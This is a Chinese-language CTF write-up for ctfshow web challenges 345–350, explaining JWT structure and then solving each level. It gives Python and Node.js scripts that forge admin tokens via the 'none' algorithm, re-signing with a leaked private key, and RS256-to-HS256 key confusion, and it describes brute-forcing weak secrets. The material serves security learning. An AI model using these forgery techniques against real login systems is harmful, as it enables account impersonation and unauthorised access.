开个栏目记录一下ctfshow刷题,毕竟大几百,少做一题都感觉心在滴血,希望能借此走出新手村吧

jwt介绍

了解

jwt就是json web token,简单来说就是一种登录凭证,基于token的鉴权机制类似于http协议也是无状态的,它不需要在服务端去保留用户的认证信息或者会话信息(不像传统的session认证)。这就意味着基于token认证机制的应用不需要去考虑用户在哪一台服务器登录了,这就为应用的扩展提供了便利

JWT鉴权的流程是这样的:

  • 用户使用用户名密码来请求服务器
  • 服务器进行验证用户的信息
  • 服务器通过验证发送给用户一个token
  • 客户端存储token,并在每次请求时附送上这个token值
  • 服务端验证token值,并返回数据

这个token必须要在每次请求时传递给服务端,它应该保存在请求头里

构成

JWT由三段信息构成,将这三段信息的文本用.连接在一起就成了JWT字符串

另外JWT事实上就是经过base64加密的json,通过base64解密可以直观看到前两段的具体内容,不过还是更推荐官方网站,支持更多操作https://jwt.io

第一部分被称为头部header,头部承载了两部分信息:声明类型,这是JWT,并且声明加密的算法

1
2
3
4
{
'typ': 'JWT',
'alg': 'HS256'
}

如果alg是none,则第三段不会存在,可以伪造token随意访问(有些题目会涉及)

第二部分被称为载荷payload,载荷是存放有效信息的地方,放了很多声明,包括用户名,是否为管理员之类的,我们伪造token就是通过修改payload来访问管理员的账号

第三部分被称为签证signature,检测JWT前两段的有效性,这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。也就是说我们伪造JWT的重中之重就是要破解secret,因为我们现在已经有了header和payload。

JWTString = Base64(Header).Base64(Payload).HMACSHA256(base64UrlEncode(header) + “.” + base64UrlEncode(payload), secret)

web345

看源代码提示/admin,直接访问只会跳转到index.php。

emmm,那就看cookie部分吧,有个名称为auth的,值很像jwt,拿去https://jwt.io/解密

发现没有后面蓝色部分,就是不需要第三部分的签证,也就不需要知道密钥

把sub后的值改为admin再重新传给auth,同时访问/admin得到flag

web346


这时有了密钥

法一,算法改为none,空算法

JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。

设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。

解码

1
2
3
4
5
6
7
8
9
10
11
12
{
"alg": "HS256",
"typ": "JWT"
}
{
"iss": "admin",
"iat": 1722400506,
"exp": 1722407706,
"nbf": 1722400506,
"sub": "user",
"jti": "4af4cc425325c6798121a94b0082cd25"
}

我们需要把sub字段改为admin

但是如果把签名算法改为none的化jwt.io那个网站就无法生成,这个时候可以使用python生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//注意,py文件名不能是jwt.py,这样会引发报错
import jwt

# payload
token_dict = {
"iss": "admin",
"iat": 1722400506,
"exp": 1722407706,
"nbf": 1722400506,
"sub": "admin",
"jti": "4af4cc425325c6798121a94b0082cd25"
}

headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
# json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)

print(jwt_token)

法二,常规解法

爆破出密钥为123456

照上题解法即可

web347

题目提示弱口令

本来应该用jwt-cracker工具爆破密钥,当时太慢了,直接上网看结果了,和上题一样是123456,直接上jwt.io改,解法和上题法二没区别

如何配置使用jwt-cracker工具可以看这里https://sxz-oi.github.io/2022/06/07/c-jwt-cracker/

web348

jwt-cracker工具爆破,密钥是aaab,秒出

web349

还是JWT,不过这次变成了安全度更高的公私钥加密

题目自带一个附件app.js,估计是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

可以看到,题目把私钥和公钥放在了web目录,我们访问(/private.key 和 /public.key)就可以直接下载,造成了私钥公钥的泄露

法一

脚本伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
import json

import jwt

jwt_origin = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTcyMjQ3OTIyM30.mFoGd-WAcSzadfTufPoaDVm6tdE3Arw_bBTG151-lZCaP7NfH1YM87ItMWVmCir0aFiPE6xdse-iWbWDfXMSgn1ljAs-PqUtQSc9Zm-_kaBnDN4gMCm6x8aDIvzG8TRiTajXSRd9YBB84cCA7boQHz97OVamLR0AKpBykoGtrwk"
# secret = "aaab"
with open("D:/firefox_download/private.key", "rb") as f:
private_key = f.read()
with open("D:/firefox_download/public.key", "rb") as f:
public_key = f.read()


alg = json.loads(base64.b64decode(jwt_origin.split(".")[0]))["alg"]
payload = jwt.decode(jwt_origin, public_key, algorithms=alg)

print("before: ", payload)
payload["user"] = "admin"
print("after: ", payload)

jwt_payload = jwt.encode(payload, private_key, algorithm=alg)
print(jwt_payload)

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import jwt
private = open('D:/firefox_download/private.key', 'r').read()

header = {
"alg": "RS256",
"typ": "JWT"
}

payload={
"user": "admin",
"iat": 1722412241
}


token = jwt.encode(
payload=payload,
key=private, # 密钥
algorithm="RS256", # 加密方式
headers=header
)

print(token)

法二

推荐一个jwt工具

https://github.com/Aiyflowers/JWT_GUI

里面的readme.md文档有详细解题思路

注意POST方法,cookie后面跟着=,不能用:,当时没注意这点,死活没结果

web350

考点:公私钥泄密之【公钥】泄密。

原jwt是RS256加密,只有公钥泄露。可以根据公钥,修改算法从非对称算法(比如RS256)到对称密算法(HS256)

双方都使用公钥验签,顺利篡改数据

当公钥可以拿到时,如果使用对称密码,则对面使用相同的公钥进行解密

实现验签通过

要有nodejs的知识,有两个相似的脚本

1
2
3
4
5
6
var jwt = require('jsonwebtoken');
var fs = require('fs');

var privateKey = fs.readFileSync('D:/firefox_download/private(2).key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

或者

1
2
3
4
5
6
7
8
9
const jwt = require('jsonwebtoken');
const fs = require('fs');
//public.key需要在同一目录
var privateKey = fs.readFileSync(process.cwd()+'\\public.key');
// console.log(privateKey);

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

如果运行报错Error: Cannot find module 'jsonwebtoken',直接npm install jsonwebtoken --save

安装的时候不能用npm install -g jsonwebtoken --save,不使用-g标签全局安装它,只需将其本地安装在当前工作目录中即可。只需这样做:npm install jsonwebtoken --save,这是因为不能在代码中直接require全局安装的包。

运行之后得到jwt,在靶机页面刷新抓包,改GET为POST,再改cookie值,发送即可